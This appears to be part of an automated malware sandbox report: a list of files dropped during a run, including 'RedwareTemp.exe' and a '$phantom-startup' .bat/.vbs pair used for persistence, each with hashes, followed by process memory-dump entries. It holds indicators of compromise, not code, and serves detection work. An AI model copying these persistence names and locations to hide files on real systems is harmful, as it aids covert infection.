5aa25d675a2200da4546cdedcc9442555739ef4df13e2539994a828da04e24d727f8ffbd6c05d92b4171b3152eee2985166dadcf619c3dca70436ba990b15e76

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
1KB

MD5
3ec0d76d886b2f4b9f1e3da7ce9e2cd7

SHA1
68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea

SHA256
214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5

SHA512
a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\O9PSQQN7\www.bing[1].xml

Filesize
15KB

MD5
623c1a8b4364a7627b5ec446f6f7e919

SHA1
d4db9f192f6ae54b817500213b6059555222f48a

SHA256
a8b86dfbe78e35a75af7173438474a5585343d0539348cd0ff66d1c5d7073fea

SHA512
eff8a8bdad4347094b4cfa0b540b52d99ba9c25f3b85867a169314c58b050a6a02bbca0c0bb2d0d1efb68bbd90c0e613ac5bc5a78ff2c175f5db1e2117c8b608

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoftwindows.client.cbs_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Filesize
340B

MD5
9ec4bc718ab5b127bc963141ba227347

SHA1
02aca3b2f60eef60c7e847fc31a48abde452ef1a

SHA256
698974d44bfb03562296a0a432bff0a229d992d76c09d68f2cab8a4ad4287d2f

SHA512
1ae54c353d252c0a9bf6aacb5771e5f4085e946de9260896288c93ebbaf74e6efd91dbe59736a0f4263b1aa5c29defa1f76e7760c3dc1553a61bdfe2d766e89e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RedwareTemp.exe

Filesize
87KB

MD5
b048f3c90ffb82c5514d4645ea909064

SHA1
3090dd09c42a58b5e4adbb0626ebe94dd4c1e1bb

SHA256
2b63e6ea0082dd3dcdcdb53163a35b49c26ea622cadda60060f5e20215f4911b

SHA512
5f19016066d2f1117b64b6b820057aab27b61533cadf81a863978ef240bc43b6a080bf1eb8116267510c95e58979382753ac4d9767fc9930899714b51931e3de

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_svee4qzm.n0v.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_872.bat

Filesize
548KB

MD5
73c36e7e75e989f8b1e5dd4e9a1b493d

SHA1
af5bf582a6d1b424355f8af579b8f202fbe4b834

SHA256
2b0fa86f46148d25d365085a021a9b836e34275955ca0446723553bbcf388ac0

SHA512
5c95fcfb41ca505ca2a9d7d0f11d4e57831bfabd5e1c741c6bf26b0b2a89e36524cca53e6eff3ad7ccac14c0030ab0fc76581275ee8acfe0304be216a6e6ec44

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_872.vbs

Filesize
124B

MD5
9166665baf7bb0073950282f9e564f9a

SHA1
778c5cabc610cd43a27ffe5d234c83b15c1cf4b4

SHA256
1ea16517b85d71981d4c02b1f5ff4919a351f58019ce1fc50110c8d7665ab4ae

SHA512
41ca22e2ff7553d321cf6b2acd6330398719c75dbf6ed2f4b2760763ddf632babf12a4cd802f7af92978b3df3bfcaea55a764170cf9792870313e7ce0bc62177

Download Submit
memory/1156-109-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download
memory/1256-107-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download
memory/1360-148-0x0000026C28040000-0x0000026C2805C000-memory.dmp

Filesize
112KB

Download
memory/1616-105-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download
memory/1672-15-0x0000022A9BE80000-0x0000022A9BEEC000-memory.dmp

Filesize
432KB

Download
memory/1672-14-0x0000022A9BBC0000-0x0000022A9BBC8000-memory.dmp

Filesize
32KB

Download
memory/1672-13-0x00007FF9435F0000-0x00007FF9440B2000-memory.dmp

Filesize
10.8MB

Download
memory/1672-47-0x00007FF9435F0000-0x00007FF9440B2000-memory.dmp

Filesize
10.8MB

Download
memory/1672-1-0x0000022A838C0000-0x0000022A838E2000-memory.dmp

Filesize
136KB

Download
memory/1672-11-0x00007FF9435F0000-0x00007FF9440B2000-memory.dmp

Filesize
10.8MB

Download
memory/1672-0-0x00007FF9435F3000-0x00007FF9435F5000-memory.dmp

Filesize
8KB

Download
memory/1672-12-0x0000022A9BE30000-0x0000022A9BE76000-memory.dmp

Filesize
280KB

Download
memory/1672-10-0x00007FF9435F0000-0x00007FF9440B2000-memory.dmp

Filesize
10.8MB

Download
memory/1732-110-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download
memory/1896-101-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download
memory/2224-103-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download
memory/2404-108-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download
memory/2552-100-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download
memory/2560-51-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download
memory/2740-106-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download
memory/2748-104-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download
memory/3264-150-0x0000000003D70000-0x0000000003D82000-memory.dmp

Filesize
72KB

Download
memory/3264-50-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download
memory/3264-48-0x0000000000A10000-0x0000000000A3A000-memory.dmp

Filesize
168KB

Download
memory/3452-102-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download
memory/3520-111-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download
memory/3596-30-0x00007FF9435F0000-0x00007FF9440B2000-memory.dmp

Filesize
10.8MB

Download
memory/3596-27-0x00007FF9435F0000-0x00007FF9440B2000-memory.dmp

Filesize
10.8MB

Download
memory/3596-18-0x00007FF9435F0000-0x00007FF9440B2000-memory.dmp

Filesize
10.8MB

Download
memory/3596-17-0x00007FF9435F0000-0x00007FF9440B2000-memory.dmp

Filesize
10.8MB

Download
memory/4064-161-0x0000000000570000-0x000000000058C000-memory.dmp

Filesize
112KB

Download
memory/4072-99-0x00007FF924C30000-0x00007FF924C40000-memory.dmp

Filesize
64KB

Download